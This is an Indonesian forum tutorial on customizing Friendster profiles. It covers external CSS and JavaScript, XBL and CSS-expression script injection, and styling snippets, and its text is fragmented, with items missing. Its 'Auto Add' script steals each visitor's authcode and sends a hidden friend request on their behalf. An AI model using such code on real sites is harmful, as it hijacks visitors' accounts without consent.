Layout With Css Javascript Tutorial
Layout With Css Javascript Tutorial
Oleh: gw_nobi
Hallo semua, apa kabar hari ini? Pasti lagi online ye? Heuheuheu Gimana kabar Friendsternya? Makin cantik apa makin ancur nih? Wakakakakakakgimana udah bisa bikin layout sendiri? Haa?!! Belom? Busenggnih gw bagi2 bacaan biar Profile Friendster lu semua pada kerenn! Uhmmm enaknya mulai dari mana ya? Ada yang punya ide?
Oke deh gw bikin per BAB aja ya biar kayak buku pelajaran sekolah dulu :D Nih daftar isinye BAB 1 = Gimana Cara Bikin Hostingan. BAB 2 = Gimana Cara Bikin CSS / JavaScript Eksternal. BAB 3 = 10 CSS + 10 JavaScript buat lu semua. Gw kira cukup lah 3 BAB yabiar gak terlalu pusing juga bacanya :p
OK Lets FIGHT!!!
BAB 1
Gimana Cara Bikin Hostingan. Sebelum dimulai, ada yang tau apa itu hostingan? Pasti udah pada tau kan? Ok gw anggap udah pada tau. -Site buat ngehosting dimana sih? Site penyedia jasa hostingan itu ada banyak bgt, tapi yang mudah dan bisa membaca file berekstensi PHP/JAVA/XML/CSS/MP3/DLL, hanya site tertentu seperti RIPWAY, FILEAVE, GEOCITIES,dll. -Kenapa harus di site itu? Karena GRATIS BOOO..! Bgahahahaha -Menurut lu, HOSTINGAN yang lu rekomendasiin site apaan? Menurut gw mending pake di RIPWAY/FILEAVE -Trus Cara bikinnya bijimane? Ok ok, gw mulai 1. Lu www.ripway.com ketik di browser lu. Nah, nanti lu bakalan nemu Page seperti ini.
lu klik
Lu isi form diatas, trus klik Sign Up Now! Nah udah daftar kan? Horeee akhirnya punya hostingan :D Trus lu bakalan ke direct ke halaman ini..
Abaikan aje halaman itu, trus lu klik sama password yang barusan lu bikin.
, lu masukin username
Ok skr kita dah masuk ke halaman utama. sekarang kita cari gambar ini lu bakalan nemu halaman ini. , kalo dah ketemu, lu klik trus
Kita sekarang berada di page My Files. Trus kita harus ngapaen? Trus ambil rokok dolosambil ngopibentar beli rokok dolo.
Udah? Kalo udah kita bahas soal My Files di BAB 2 ya Lets GO!!!
BAB2
Gimana Cara Bikin CSS / JavaScript / XML Eksternal. Gimane BAB 1 Mudah kan? Tentu mudah bin gampang Ok sekarang ceritanya kita ada di Halaman My Files .. Sekarang kita bikin dolo subfolder. Caranya? Cari gambar ini : masukin nama di kolom
, trus
tsb, lalu klik Creat Subfolder.. setelah lu klik Creat Subfolder, lu bakalan dikasi page kayak begini
Nah lohkosong? Bingung kan kudu gimana...permainan baru saja dimulai dari sini HAHAHAHA. :ngacir: Tugas kita sekarang bikin XML + CSS + JAVASCRIPT .. Ikuti langkah2 pembuatannya dibawah.nyookk!
XML SOURCE: <?xml version="1.0"?> <bindings xmlns="http://www.mozilla.org/xbl"> <binding id="cradle"> <implementation> <constructor><![CDATA[document.write('<script src= URL .JS MASUKIN DISINI></script>')]]></constructor> </implementation> </binding> </bindings> CONTOH!
Klik Edit , untuk merubah isi dari XML tsb. Tahap pembuatan XML selesaihoeeee.
Sekarang kita lanjutin aja yuk ke tahap pembuatan CSS LINKERnya Bentar2baca dulu baik2 ke atas, udah paham belom? Kalo udah nyook kita scroll ke bawah.sabar sabarpelan mas pelan
CSS
Sekarang kita bikin CSS nye Piye carane? Apaan tuh CSS? Cascading Style Sheets (CSS) adalah suatu bahasa stylesheet yang digunakan untuk mengatur tampilan suatu dokumen yang ditulis dalam bahasa markup. Penggunaan yang paling umum dari CSS adalah untuk memformat halaman web yang ditulis dengan HTML dan XHTML. Walaupun demikian, bahasanya sendiri dapat dipergunakan untuk semua jenis dokumen XML termasuk SVG dan XUL. Spesifikasi CSS diatur oleh World Wide Web Consortium (W3C). CSS digunakan oleh penulis maupun pembaca halaman web untuk menentukan warna, jenis huruf, tata letak, dan berbagai aspek tampilan dokumen. CSS digunakan terutama untuk memisahkan antara isi dokumen (yang ditulis dengan HTML atau bahasa markup lainnya) dengan presentasi dokumen (yang ditulis dengan CSS). Pemisahan ini dapat meningkatkan aksesibilitas isi, memberikan lebih banyak keleluasaan dan kontrol terhadap tampilan, dan mengurangi kompleksitas serta pengulangan pada stuktur isi. CSS memungkinkan halaman yang sama untuk ditampilkan dengan cara yang berbeda untuk metode presentasi yang berbeda, seperti melalui layar, cetak, suara (sewaktu dibacakan oleh browser basis-suara atau pembaca layar), dan juga alat pembaca braille. Halaman HTML atau XML yang sama juga dapat ditampilkan secara berbeda, baik dari segi gaya tampilan atau skema warna dengan menggunakan CSS.
Langkahnya tetep sama, klik gambar ini bakal di anter ke halaman ini
trus lu tetep
Contoh :
Setelah selesai bikin CSS, lu bakal kembali ke halaman folder tadi, tapi ada yang nambahseperti ini contohnya
Tuh kan udah ada contoh.css yang baru Mudah kan? Gimana mau lanjut? Apa istirahat dulu? Lanjut aja ya langsung biar cepet wahhahahah Sebelum kita bikin File Javascript, hendaknya kita tau dolo bahwa JavaScript itu bisa kita tidak pakai. Karena javascript itu fungsinya hanya sebagai atribut. Ok gw lanjut ya bikin File Javascript.
=========================================================== ========
JS / JAVASCRIPT
JavaScript adalah nama implementasi Netscape Communications Corporation untuk ECMAScript standar, suatu bahasa skrip yang didasarkan pada konsep pemrograman berbasis prototipe. Bahasa ini terutama terkenal karena penggunaannya di situs web (sebagai JavaScript sisi klien) dan juga digunakan untuk menyediakan akses skrip untuk objek yang dibenamkan (embedded) di aplikasi lain. Walaupun memiliki nama serupa, JavaScript hanya sedikit berhubungan dengan bahasa pemrograman Java, dengan kesamaan utamanya adalah penggunaan sintaks C. Secara semantik, JavaScript memiliki lebih banyak kesamaan dengan bahasa pemrograman Self. Skrip JavaScript yang dimasukkan di dalam berkas HTML ataupun XHTML harus dimasukkan di antara tag <script>...</script>. Berikut ini adalah contohnya (yang akan menampilkan sebuah dialog box berisi Halo Dunia! ketika sebuah tombol diklik oleh pengguna):
<input type="button" value="Tekan di sini" onclick="halo();"> <script type="text/javascript"> function halo() { alert( "Halo Dunia!" ); } </script>
sekarang gimana cara kita bikin File JavaScript? Langkahnya tetep sama, klik gambar ini bakal di anter ke halaman ini trus lu tetep
Setelah kita CREATE, kita bakal punya file Javascript baru di halaman folder kita. Seperti ini contohnya:
Nah sekarang kita udah punya 3 file, yaitu XML, CSS , dan Javascript. Gimana? Mudah kan? Trus sekarang apa yang di sebut dengan URL JS/URL CSS/URL/XML ? URL JS = http://h1.ripway.com/gwnobi2/contoh/contoh.js URL CSS = http://h1.ripway.com/gwnobi2/contoh/contoh.css URR XML = http://h1.ripway.com/gwnobi2/contoh/contoh.xml Kita bisa lihat di Direct Link bawah nama File kita. Dan URL tsb yang kita copy paste di setiap ada perintah GANTI URL DISINI(sesuai yang di perintahkan).
Terus, kalo mau masukin ke FS gimana caranya? 1. Login di FS kita 2. Klik Edit Profile 3. Lalu kita lihat dibagian About me dan Who I want to meet
gambar dibawah )
( seperti
Kita isikan Linker CSS kita dibagian About me atau Who I want to meet. Linker CSS : <link rel="stylesheet" href=" GANTI DENGAN URL CSS "> Kita copy source diatas dan pastekan di bagian About me / who I want to meet.
OK selesai sudah BAB 1 dan 2. bagaimana? Sudah di mengerti? Kalo belom kita bahas aja ya di forum. Trus udah ini kita ke BAB 3 aja ya? Gimana mau? Pasti mau donk..ehueheuhe Ok deh kita mulai aja BAB 3 ya.
BAB 3
10 CSS + 10 JAVASCRIPT Nih gw kasi sedikit CSS dan Javascript koleksi gw.
CSS
(ingat semua source CSS kita taruh di File CSS kita bukan di tempat lain)
1. Translucent Box
Untuk Semua Box .controlpanel { background-color: #000000; filter:alpha(opacity=80); -moz-opacity:0.9;opacity: 0.9; } .commonbox { background-color: #000000; filter:alpha(opacity=80); -moz-opacity:0.9;opacity: 0.9; } .commonbox .evenrow { background-color: #000000; filter:alpha(opacity=80;); -moz-opacity:0.9;opacity: 0.9; } Untuk ShoutBox .controlpanel .so, .minicontrolpanel .so { background-color: #000000; filter:alpha(opacity=80;); -moz-opacity:0.9;opacity: 0.9; } .controlpanel .sol, .minicontrolpanel .sol { background-color: #000000; filter:alpha(opacity=80;); -moz-opacity:0.9;opacity: 0.9; } .controlpanel .sob, .minicontrolpanel .sob { background-color: #000000; filter:alpha(opacity=80;); -moz-opacity:0.9;opacity: 0.9; }
Save Semua Source di CSS file lu. Yang warna merah adalah HEXCOLOR, itu bisa dig anti sesuai ingin kita. #000000 adalah warna hitam dan itu bisa lu ganti semau lu.
2. Title Bar pake CSS /* Title Bar */ body{top:expr/**/ession(fstweakerspagetitle() function fstweakerspagetitle(){ document.title = 'GANTI TEKS NYA DISINI'; });} Preview:
3. Primary Photo pake Border Gambar /* Primary photo pake border gambar*/ .controlpanel .imgblock200 { background-color: transparent; background-image: url(URL GAMBARNYA DISINI); background-position: center center; background-attachment: fixed; background-repeat: repeat; border-color: #000000; border-style: dashed; border-width: 4px; padding-left: 10px; padding-right:10px; padding-top:10px; paddingbottom:10px; margin-left:0; margin-right:0px; margin-top:25; margin-bottom:0px; } Preview :
4.
Preview:
5. Animasi Primary Photo div.imgblock200 { background:url(URL GAMBA .GIF TARUH DISINI); background-position: center center; background-repeat: no-repeat; height:??px; width:??px; } div.imgblock200 img {display:none !important} rubah width dan height sesuai keinginan lu. Preview: Percuma kali previewgambarnya juga ga bakal jalan kalo di PDF..wakakakka
7. Welcome Alert pake CSS Normal Welcome Alert body{left:exp/**/ression( function welcome() { alert('Pesen'); } window.onload=welcome);}
Double Welcome Alert body{left:exp/**/ression( function welcome() { alert(' Pesen '); alert(' Pesen '); } window.onload=welcome);} Megaton Welcome Alert body{left:exp/**/ression( function welcome() { alert(' Pesen '); alert(' Pesen '); alert(' Pesen '); alert(' Pesen '); alert(' Pesen '); alert(' Pesen '); alert(' Pesen '); alert(' Pesen '); alert(' Pesen '); alert(' Pesen '); } window.onload=welcome);} Preview:
Preview :
Preview: No preview..huhuhuhuh 10.Ganti Footer pake gambar #footer {display: none;} #footer_container { background:url(URL .JPG,.PNG,GIF) ; background-repeat:no-repeat; background-attachment:fixed; background-position:center center;width:800px!important;height:140px!important;position:relat ive!important; bottom:3px!important; } #footer_container div { display:none!important; } #footer_container a { display:none!important; } #footer_container span { display:none!important; } Ukuran 800px dianjurkan, ganti yang 140px sesuai keinginan lu
JAVASCRIPT
(ingat semua source Javascript kita taruh di File Javascript kita bukan di tempat lain)
Keterangan: Friend_FS_ID = ID FS TEMEN LO Photo_Url_Of_Friend = URL PHOTO TEMEN LO Friend_Name = NAMA TEMEN LO Comment = TESTIMONIAL MANIPULASI
Preview:
2. Costumize Main Navigation function feruzzbedalakubalik() { var nakmakanayam = document.getElementById("mainnav"); var nkgilondon = "<div class=\"primary_links\"><a href=http://www.friendster.com/>Home</a> | <a href=http://www.friendster.com/user.php>Profile</a> | <a href=http://www.friendster.com/friends.php>Friends</a></div><div class=\"secondary_links\"><a href=http://www.friendster.com/explore.php>Explore</a> | <a href=http://www.friendster.com/gallery.php>Search</a> | <a href=http://www.friendster.com/video.php>Video</a> | <a href=http://www.friendster.com/editcollege.php?A=s>Schools</a> | <a href=http://olx.friendster.com/gateway_cobranded.php>Classifieds< /a> | <a href=http://olx.friendster.com/gateway_cobranded.php?target=jobs>J obs</a> | <a href=http://www.friendster.com/blogs.php>Blogs</a> | <a href=http://www.friendster.com/group/mygroup.php>Groups</a> | <a href=http://www.friendster.com/invite.php>Invite</a></div>"; nakmakanayam.innerHTML = nkgilondon; } window.onload = function() {feruzzbedalakubalik();} Preview:
Simple Welcome Alert alert("Welcome to my profile"+pageViewerFName+"!"); Double Welcome Alert. alert("Welcome to my profile "+pageViewerFName+"!"); alert("Ready?"); Welcome Alert With Line Breaks alert("Welcome to my profile "+pageViewerFName+"!" + '\n' + "Are You Happy Today?" + '\n' + "If Not Always Smile!"); alert("Anyway Give Me Some Comments " + '\n' + "Sorry For The Inconvinience..." + '\n' + "Have A Nice Day!"); Preview:
4. Auto Add var email_add = "EMAIL FS LU"; var get_authcode = document.getElementById("controlPanelButtons").innerHTML; var add_it = get_authcode.slice(get_authcode.indexOf("authcode=")); var PlaceInput = add_it.slice(9,39); document.write('<img src="http://www.friendster.com/addfriendrequest.php?authcode=' + PlaceInput + '&uid=' + pageOwnerID + '&email=' + email_add + '&firstname=&lastname=&friend=&submit=1"' + ' width="0" height="0" style="display:none" />');
Preview:
if (typeof CFNAMES == "undefined") { CFNAMES = {}; } CFNAMES = { getData: null, sibling: null, init: function() { CFNAMES.getData = document.createElement("ul"); CFNAMES.getData.setAttribute("class","data"); CFNAMES.getData.innerHTML = "<li><span class=\"q\">TEXT KAMU</span></li>"+ "<li><span class=\"q\"> TEXT KAMU </span></li>"+ "<li><span class=\"q\"> TEXT KAMU </span></li>"+ "<li><span class=\"q\"> TEXT KAMU </span></li>"+ "<li><span class=\"q\"> TEXT KAMU </span></li>"+ "<li><span class=\"q\"> TEXT KAMU </span></li>"+ "<li><span class=\"q\"> TEXT KAMU </span>"+ "<a style=\"font-weight: normal;\" href=\"/ TEXT KAMU \"> TEXT KAMU </a></li>"; CFNAMES.sibling = CFNAMES.getElementsByClassName(document.getElementById("content_0") ,"ul","data")[0]; CFNAMES.sibling.parentNode.replaceChild(CFNAMES.getData,CFNAMES.si bling); }, getElementsByClassName: function(oElm,sTag,sClass) { var elm = []; if (!oElm)oElm = document; if (!sTag)sTag = "*"; var els = oElm.getElementsByTagName(sTag) || document.all; for (var i=0,j=els.length;i<j;i++) { if (new RegExp(sClass).test(els[i].className))elm.push(els[i]); } return elm; } };CFNAMES.init();
7. Ganti Menu Logout Pake kata2 sendiri if (typeof SUBNAV == "undefined") { SUBNAV = {}; } SUBNAV = { elements: { mainid: document.getElementById("subnav").getElementsByTagName("a") }, init: function() { //For "Messages" SUBNAV.elements.mainid[0].innerHTML //For "Settings" SUBNAV.elements.mainid[1].innerHTML //For "Help" SUBNAV.elements.mainid[2].innerHTML //For "Log Out" SUBNAV.elements.mainid[3].innerHTML } };SUBNAV.init(); Preview :
= "TEKS LU"; = " TEKS LU "; = " TEKS LU "; = " TEKS LU ";
Preview:
#Left Hover
#Right Hover
Preview:
Ganti angka 5 dengan angka yang kita hendaki, gunanya untuk mengatur jumlah comment yang nongol di profile kita.
JANGAN SAMPAI SALAH MASUKIN SOURCE. SOURCE CSS DIMASUKIAN DI DALAM CSS EKSTERNAL / CSS FILE SOURCE JS DIMASUKIAN DI DALAM JS EKSTERNAL / JS FILE
Dimohon untuk baca ulang setiap tutorial, hendaknya langsung di praktekan agar langsung ngerti. Jangan malu untuk bertanya. Saya selalu ada untuk kalian di KASKUS. Akhir kata saya ucapkan
SALMEEEEK!!!!!!!!!!!!!!!!!
Thanks to: -Ripway -All user @Friendstertalk -KASKUS -All user @Hackers-Center